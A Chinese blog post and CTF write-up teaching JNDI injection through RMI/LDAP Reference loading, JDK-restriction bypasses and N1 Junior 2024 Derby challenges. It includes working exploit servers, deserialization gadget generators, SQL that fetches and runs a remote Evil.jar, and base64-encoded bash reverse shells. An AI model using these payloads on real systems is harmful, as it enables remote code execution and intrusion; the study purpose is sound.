JNDI注入

JDNI注入

前言

刚开始学java安全的时候真的是什么概念都不懂,然后rmi,ldap,jndi,jrmp就随随便便过去了,导致现在很多概念性的东西都不理解

突然想起来X1r0z大佬的N1 junior的题还没看,然后一看发现是jndi,就重新来学习一下

JNDI概念

JNDI 本质上就是以一种统一的方式来管理对象, 开发者也可以通过它提供的接口来接入自己的服务

在bind之后,能够通过名称来访问对象

简单的通过 JNDI 来访问 RMI 对象的 demo

RMIServer

package com.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");


        InitialContext context = new InitialContext(env);
        LocateRegistry.createRegistry(1099);//可以通过该端口连接到注册表,并查找或注册远程对象

        HelloImpl hello = new HelloImpl();
        context.bind("hello",hello);


    }
}
interface Hello extends Remote{
    String world() throws RemoteException;
}
class HelloImpl extends UnicastRemoteObject implements Hello{
    protected HelloImpl() throws RemoteException{

    }

    @Override
    public String world() throws RemoteException{
        System.out.println("hello world");
        return "hahahhha";
    }
}

Properties就是手动设置上下文的一些属性

HelloImpl要继承UnicastRemoteObject

当一个类继承了UnicastRemoteObject类时,它就可以被远程客户端访问,并且可以通过RMI注册表注册和查找。

并且也顺利解决了继承Serializable接口

还有就是Java RMI要求所有远程方法都必须声明throws RemoteException

所以在Hello接口的world()方法要throws RemoteException

JNDIDemo

package com.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.Remote;
import java.rmi.RemoteException;

public class JDNIDemo {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext context = new InitialContext();
        Hello hello = (Hello) context.lookup("rmi://127.0.0.1:1099/hello");
        System.out.println(hello.world());
    }
}

image-20240418173827807

image-20240418173836254

JNDI注入原理

造成 JNDI 注入的核心有两点

  1. 动态协议转换
  2. Reference 类

先说动态协议转换

听起来很高级,看了文章的断点调试后其实很简单

简单来说就是lookup方法会截取 :// 之前的内容作为协议名,然后调用工厂类的 getObjectInstance 方法来得到对应协议的 context

如果获取不到的话, 就会使用原来 env 中指定的 INITIAL_CONTEXT_FACTORY

JNDI 默认支持动态转换的协议如下

协议名称 协议URL Context类
DNS协议 dns:// com.sun.jndi.url.dns.dnsURLContext
RMI协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

获取到这些Context后再进行后续的lookup方法

Reference类

常用的重载方法

Reference(String className, String factory, String factoryLocation)

各个参数含义如下

  • className: 工厂类加载的类名
  • factory: 远程加载的工厂类类名
  • factoryLocation: 远程加载工厂类的地址 (file http ftp 等协议)

客户端通过 lookup 得到 Reference 对象后, 会继续访问 factoryLocation 从而去加载某个 factory class, 然后调用该 factory 实例的 getObjectInstance 方法, 最终得到某个 class (由 className 指定)

Reference 可以被绑定在 RMI 或 LDAP 服务器上, 下文将分别讲解如何利用这两种方式来进行 JNDI 注入并远程加载恶意 class

RMI + Reference

对于 RMI 协议, 我们可以将 Reference (或者套上一层 ReferenceWrapper) 绑定到 RMI Registry, 然后控制 lookup 参数指向恶意 RMI 服务器来加载恶意 class

package com.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");


        InitialContext context = new InitialContext(env);
        LocateRegistry.createRegistry(1099);

//        HelloImpl hello = new HelloImpl();
//        context.bind("hello",hello);
        Reference reference = new Reference("test", "com.example.Evil", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        context.bind("test",reference);


    }
}

Evil不继承ObjectFactory的话控制台会报错,但可以执行

image-20240418191713119

package com.example;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Evil implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
package com.example;

import javax.naming.InitialContext;

public class JNDIDemo {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:1099/test");
    }
}

image-20240418192319264

解析

image-20240418194940573

不断跟进

image-20240418223447232

image-20240418195237564

本地加载 factory 类失败的话就会获取 codebase (也就是 factoryLocation), 再传入 helper 中使用 URLClassLoader 尝试加载

如果加载成功, 就会实例化 factory 类并强制转换为 ObjectFactory 类型, 这里也就是为什么我们最好要让 Evil 类继承 ObjectFactory

LDAP + Reference

LDAP 的 JNDI 注入与 RMI 基本一致

手工搭建LDAP服务器需要添加如下依赖包

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.7</version>
</dependency>
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#Evil";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
//            try {
//                e.addAttribute("javaSerializedData", Base64.decode("..."));
//            } catch (ParseException exception) {
//                exception.printStackTrace();
//            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package com.example;

import javax.naming.InitialContext;

public class JNDIDemo {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");
    }
}
解析

自行下断点

image-20240418223621771

LDAP 的通信过程中存在一个 JAVA_ATTRIBUTES 静态数组, 通过它来获取 attribute name 然后去 var0 中查询

我们服务端中手动添加

image-20240418222242882

之后会回到原来的 LdapCtx, 调用 DirectoryManager.getObjectInstance()

最后仍是到这里

image-20240418195237564

绕过jdk高版本限制

高版本 jdk 做出的一些限制

  • 6u45 7u21 之后: java.rmi.server.useCodebaseOnly 默认为 true, 禁止利用 RMI ClassLoader 加载远程类 (但是 Reference 加载远程类本质上利用的是 URLClassLoader, 所以该参数对于 JNDI 注入无任何影响 )
  • 6u141, 7u131, 8u121 之后: com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 默认为 false, 禁止 RMI 和 CORBA 协议使用远程 codebase 来进行 JNDI 注入
  • 6u211, 7u201, 8u191 之后: com.sun.jndi.ldap.object.trustURLCodebase 默认为 false, 禁止 LDAP 协议使用远程 codebase 来进行 JNDI 注入

下面会列举一些绕过高版本 jdk 来进行 JNDI 注入的方法

本地 (无用)

把属性设置为true

InitialContext context = new InitialContext();

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
context.lookup("rmi://127.0.0.1:1099/test");

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
context.lookup("ldap://127.0.0.1:1389/test");

利用本地 Class 作为 Factory

原理很简单, 既然禁止通过 codebase 远程加载, 那就去加载一个能够利用的本地 factory 然后执行 java 代码

但是这种利用方式受限于目标机器本地 classpath 中是否存在对应的 factory

理论上根据依赖的不同, 会有很多种利用方式, 这里以网上讨论最多的 org.apache.naming.factory.BeanFactoryjavax.el.ELProcessor 为例

BeanFactory 来自 tomcat 的依赖包, 所以适用范围相对来说会广一些

ELProcessor 则是 java 自带的表达式解析引擎

添加如下依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

。。。大佬说的这个依赖好像有点问题,会报出错误

手动导入这些依赖能避免一些错误

image-20240419194245840

package com.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");

        InitialContext ctx = new InitialContext(env);
        LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        ctx.bind("test", referenceWrapper);
    }
}

BeanFactory大概作用就是类似setter赋值的东西,根据这个forceString

然后根据=分割为propname和value,这里x=eval ,"x","........"其实就相当于eval的值为......

。。。不知道讲啥了

说一下如何找Factory,要继承ObjectFactory,并且有getObjectInstance

更具体的我也不会,就这样

BeanFactory版本限制

补充一下 forceString 这个 trick 在较新版本的 Tomcat 内已经被修复了, 参考如下 commit

Tomcat 8.5.79: https://github.com/apache/tomcat/commit/48dd609fd193dbe8dd94fd231c45d987da6c359f

Tomcat 9.0.63: https://github.com/apache/tomcat/commit/df7da6c29aace17c92fe47fe386ab14ece59b5d4

LDAP返回序列化数据

原理

也很简单,和上面的前半段一样,要有javaClassName进入decodeObject

image-20240425214712148

然后转换方向,进入deserializeObject,需要javaSerializedData即可

image-20240425214758541

然后存在反序列化

image-20240425214913135

即javaSerializedData的值为恶意序列化数据

poc

package com.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
        String url = "http://127.0.0.1:8000/#Evil";
        int port = 1389;
        try{
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()
            ));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:"+port);
            ds.startListening();


        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor{
        private URL codebase;
        public OperationInterceptor(URL cb){
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result,base,e);
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }


        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName","Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf("#");
            if (refPos > 0){
                cbstring = cbstring.substring(0,refPos);
            }
//            利用 LDAP + Reference
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyA。。。。。。。"));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

D3CTF2023 ezjava

这里不是jndi注入,就是出现了使用BeanFactory和ELProcessor

为什么能使用呢,因为ContinuationDirContext的父类ContinuationContext的getTargetContext()能够进行reference注入

然后就使用这个去绕过一下高版本

payload网上很多

N1 junior 2024

Derby

image-20240425223635957

只有一个jndi注入的路由

image-20240425223709621

唯二的依赖,druid连接池和derby数据库

并且还是jdk17的高版本

在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过,DruidDataSourceFactory#getObjectInstance

image-20240425225128216

image-20240425225141604

DruidDataSourceFactory有个initConnectionSqls能够执行sql语句

image-20240425225225287

image-20240425225512597

image-20240425225638704

image-20240425225736707

至此druid就发起了jdbc连接

然后就要考虑数据库进行RCE

上面一处提到经由DruidDataSourceFactory能够执行sql语句

但这里不是H2

经过搜索文章发现derby也可以通过sql语句加载jar包进行RCE(我找不到呜呜

derby数据库如何实现RCE - lvyyevd’s 安全博客

关于这个DruidDataSourceFactory的reference注入,放在RMI或是LDAP服务端都可以

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DerbyEvilServer {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:derby:dbname;create=true";
            String JDBC_USER = "root";
            String JDBC_PASSWORD = "password";

            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("username",JDBC_USER));
            ref.add(new StringRefAddr("password",JDBC_PASSWORD));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
            ref.add(new StringRefAddr("init","true"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

            registry.bind("pop",referenceWrapper);
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.List;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {

        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);

            e.addAttribute("javaClassName", "foo");
            try {
                List<String> list = new ArrayList<>();
                list.add("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Evil', 0)");
                list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
                list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
                list.add("CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')");

                Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
                ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
                ref.add(new StringRefAddr("init", "true"));
                ref.add(new StringRefAddr("initialSize", "1"));
                ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));

                e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));

                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
    }
}

看你要执行的sql语句写对应jar包,要是是上面RMI执行空参函数,那就直接写命令

像LDAP能传入String参数那就写个能传参的sql语句

public class Evil {
    public static void exec(String cmd) throws Exception {
        Runtime.getRuntime().exec(cmd);
    }
}
import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
    }
}
javac src/Evil.java
jar -cvf Evil.jar -C src/ .

复现

image-20240425233615123

image-20240425233630623

image-20240425233650022

是RMI的话由于对象和名称进行了绑定,所以要访问pop,差点忘了

是LDAP的话,由于此处不需要加载class文件,所以任意名称即可

image-20240425233841470

Derby Plus

image-20240425234310876

并且多给了个cb的依赖

image-20240425234717659

X1r0z(出题人)思路

出题人的思路很有意思,现在没给jndi的注入点了,那就从原生反序列化到jndi注入

那需要的就是LdapAttribute利用链

用到的是LDAP服务端

import org.apache.commons.beanutils.BeanComparator;

import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.Queue;

public class cb {
    public static void main(String[] args) throws Exception {

//        String ldapCtxUrl = "ldap://host.docker.internal:1389/";
//        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
//        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[] {String.class});
//        ldapAttributeClazzConstructor.setAccessible(true);
//        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[] {"name"});
//        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
//        baseCtxUrlField.setAccessible(true);
//        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
//        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
//        rdnField.setAccessible(true);
//        rdnField.set(ldapAttribute, new CompositeName("a//b"));
//
//        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
//        Queue queue = new PriorityQueue(2, comparator);
//        queue.add("1");
//        queue.add("1");
//        setFieldValue(comparator, "property", "attributeDefinition");
//        setFieldValue(queue, "queue", new Object[]{ldapAttribute, ldapAttribute});

        Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor constructor = clazz.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance("name");

        setFieldValue(obj, "baseCtxURL", "ldap://host.docker.internal:1389/");
//        setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389/");
        setFieldValue(obj, "rdn", new CompositeName("a/b"));

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("1");

        beanComparator.setProperty("attributeDefinition");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(priorityQueue);
        oos.close();
        String a = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(a);


//        ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        inputStream.readObject();
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
}

由于之前用过这个链子,导致我认为他肯定会请求a.class文件

但其实高版本的jndi就不是请求文件了,而是像上面说的绕过方法,ldap就是反序列化数据

这一点困了有点时间

复现

有点疑惑就是jdk1.8_202和jdk17生成的payload是一样的

然后burp在打的时候,base64数据是不用进行url编码的,编码会使解密报错

image-20240426183357206

image-20240426175513823

image-20240426174344175

image-20240426174319155

Boogipop思路

这位哥真的是炉火纯青啊,getter + jdbc

已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了
DruidDataSource#getConnection

image-20240426184341670

这里也有init

其实上面init之后的流程为什么能jdbc我也不了解。。。。

知道就行,然后就能打了

import com.alibaba.druid.pool.DruidDataSource;
import org.apache.commons.beanutils.BeanComparator;

import javax.naming.CompositeName;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;
import java.util.StringTokenizer;

public class Druid_getter {
    public static void main(String[] args) throws Exception {

        DruidDataSource druidDataSource = new DruidDataSource();
        druidDataSource.setUrl("jdbc:derby:dbname;create=true");
        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
        druidDataSource.setInitialSize(1);
        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguODkuNjEuNzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}')", ";");
        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));


        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("1");

        beanComparator.setProperty("connection");
        setFieldValue(druidDataSource,"logWriter",null);
        setFieldValue(druidDataSource,"statLogger",null);
        setFieldValue(druidDataSource,"transactionHistogram",null);
        setFieldValue(druidDataSource,"initedLatch",null);
        setFieldValue(priorityQueue, "queue", new Object[]{druidDataSource, druidDataSource});



        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(priorityQueue);
        oos.close();
        String a = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(a);


//        ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        inputStream.readObject();
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
}

有细节

    setFieldValue(druidDataSource,"logWriter",null);
    setFieldValue(druidDataSource,"statLogger",null);
    setFieldValue(druidDataSource,"transactionHistogram",null);
    setFieldValue(druidDataSource,"initedLatch",null);

这些属性初始值是被实例化的对象,但是他们不可序列化,设置为null即可

image-20240426191038095

当然运行环境是在jdk17,所以vm options自行添加

复现

image-20240426191821067

image-20240426191758373

相似方法的题目

image-20240426193525666

image-20240426193547665

额,过滤很简单

jackson+signedObject二次反序列化,秒了

这里文章也提出了从原生反序列化到jndi注入的LDAPAttribute利用链

然后LDAP服务端放的是jackson的反序列化链

就这样

[HZNUCTF 2023 final]ezjava

image-20240426194606660

一眼log4j,并且log4j本质就是ldap

这里提示fastjson就是利用高版本绕过,LDAP服务端放的是fastjson的反序列化链

ok,结束

reference

https://exp10it.io/2022/12/jndi-%E6%B3%A8%E5%85%A5%E6%B5%85%E6%9E%90/

https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/[](https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/)

https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/


JNDI注入
https://zer0peach.github.io/2024/04/18/JNDI注入/
作者
Zer0peach
发布于
2024年4月18日
许可协议